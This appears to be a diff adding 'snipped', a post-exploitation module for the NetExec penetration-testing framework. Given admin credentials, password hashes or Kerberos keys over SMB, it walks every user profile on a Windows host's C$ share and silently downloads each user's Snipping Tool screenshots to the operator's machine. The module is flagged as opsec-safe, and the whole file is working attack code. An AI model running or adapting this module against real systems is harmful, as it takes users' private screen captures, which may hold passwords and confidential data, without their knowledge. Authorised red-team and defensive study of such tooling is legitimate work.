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| 1 | +from impacket import smb, smb3 |
| 2 | +import ntpath |
| 3 | +from os import makedirs |
| 4 | +from os.path import join, exists |
| 5 | +from dploot.lib.smb import DPLootSMBConnection |
| 6 | +from dploot.lib.target import Target |
| 7 | + |
| 8 | +class NXCModule: |
| 9 | + |
| 10 | + name = "snipped" |
| 11 | + description = "Downloads screenshots taken by the (new) Snipping Tool." |
| 12 | + supported_protocols = ["smb"] |
| 13 | + opsec_safe = True |
| 14 | + multiple_hosts = True |
| 15 | + |
| 16 | + def __init__(self): |
| 17 | + self.context = None |
| 18 | + self.module_options = None |
| 19 | + |
| 20 | + def options(self, context, module_options): |
| 21 | + """ |
| 22 | + USERS Download only specified user(s); format: -o USERS=user1,user2,user3 |
| 23 | + """ |
| 24 | + self.context = context |
| 25 | + self.screenshot_path_stub = r"Pictures\Screenshots" |
| 26 | + self.users = module_options["USERS"].split(",") if "USERS" in module_options else None |
| 27 | + |
| 28 | + def on_admin_login(self, context, connection): |
| 29 | + self.context = context |
| 30 | + self.connection = connection |
| 31 | + self.share = "C$" |
| 32 | + |
| 33 | + host = f"{connection.hostname}.{connection.domain}" |
| 34 | + domain = connection.domain |
| 35 | + username = connection.username |
| 36 | + kerberos = connection.kerberos |
| 37 | + aesKey = connection.aesKey |
| 38 | + use_kcache = getattr(connection, "use_kcache", False) |
| 39 | + password = getattr(connection, "password", "") |
| 40 | + lmhash = getattr(connection, "lmhash", "") |
| 41 | + nthash = getattr(connection, "nthash", "") |
| 42 | + |
| 43 | + target = Target.create( |
| 44 | + domain=domain, |
| 45 | + username=username, |
| 46 | + password=password, |
| 47 | + target=host, |
| 48 | + lmhash=lmhash, |
| 49 | + nthash=nthash, |
| 50 | + do_kerberos=kerberos, |
| 51 | + aesKey=aesKey, |
| 52 | + use_kcache=use_kcache, |
| 53 | + ) |
| 54 | + |
| 55 | + dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) |
| 56 | + |
| 57 | + output_path = f"nxc_snipped_{connection.host}" |
| 58 | + context.log.debug("Getting all user folders") |
| 59 | + try: |
| 60 | + user_folders = dploot_conn.listPath(self.share, "\\Users\\*") |
| 61 | + except Exception as e: |
| 62 | + context.log.fail(f"Failed to list user folders: {e}") |
| 63 | + return |
| 64 | + |
| 65 | + context.log.debug(f"User folders: {user_folders}") |
| 66 | + if not user_folders: |
| 67 | + context.log.fail("No User folders found!") |
| 68 | + return |
| 69 | + else: |
| 70 | + context.log.display("Attempting to download screenshots if existent.") |
| 71 | + |
| 72 | + for user_folder in user_folders: |
| 73 | + if not user_folder.is_directory(): |
| 74 | + continue |
| 75 | + folder_name = user_folder.get_longname() |
| 76 | + if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]: |
| 77 | + continue |
| 78 | + if self.users and folder_name not in self.users: |
| 79 | + continue |
| 80 | + |
| 81 | + screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub)) |
| 82 | + try: |
| 83 | + screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*") |
| 84 | + except Exception as e: |
| 85 | + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") |
| 86 | + continue |
| 87 | + |
| 88 | + if not screenshot_files: |
| 89 | + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") |
| 90 | + continue |
| 91 | + |
| 92 | + user_output_dir = join(output_path, folder_name) |
| 93 | + if not exists(user_output_dir): |
| 94 | + makedirs(user_output_dir) |
| 95 | + |
| 96 | + context.log.display(f"Downloading screenshots for user {folder_name}") |
| 97 | + downloaded_count = 0 |
| 98 | + for file in screenshot_files: |
| 99 | + if file.is_directory(): |
| 100 | + continue |
| 101 | + remote_file_path = ntpath.join(screenshot_path, file.get_longname()) |
| 102 | + local_file_path = join(user_output_dir, file.get_longname()) |
| 103 | + with open(local_file_path, 'wb') as local_file: |
| 104 | + try: |
| 105 | + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") |
| 106 | + dploot_conn.readFile(self.share, remote_file_path, local_file.write) |
| 107 | + downloaded_count += 1 |
| 108 | + except Exception as e: |
| 109 | + context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") |
| 110 | + continue |
| 111 | + |
| 112 | + context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}") |
| 113 | + |
| 114 | + def upgrade_connection(self, target: Target, connection=None): |
| 115 | + conn = DPLootSMBConnection(target) |
| 116 | + if connection is not None: |
| 117 | + conn.smb_session = connection |
| 118 | + else: |
| 119 | + conn.connect() |
| 120 | + return conn |
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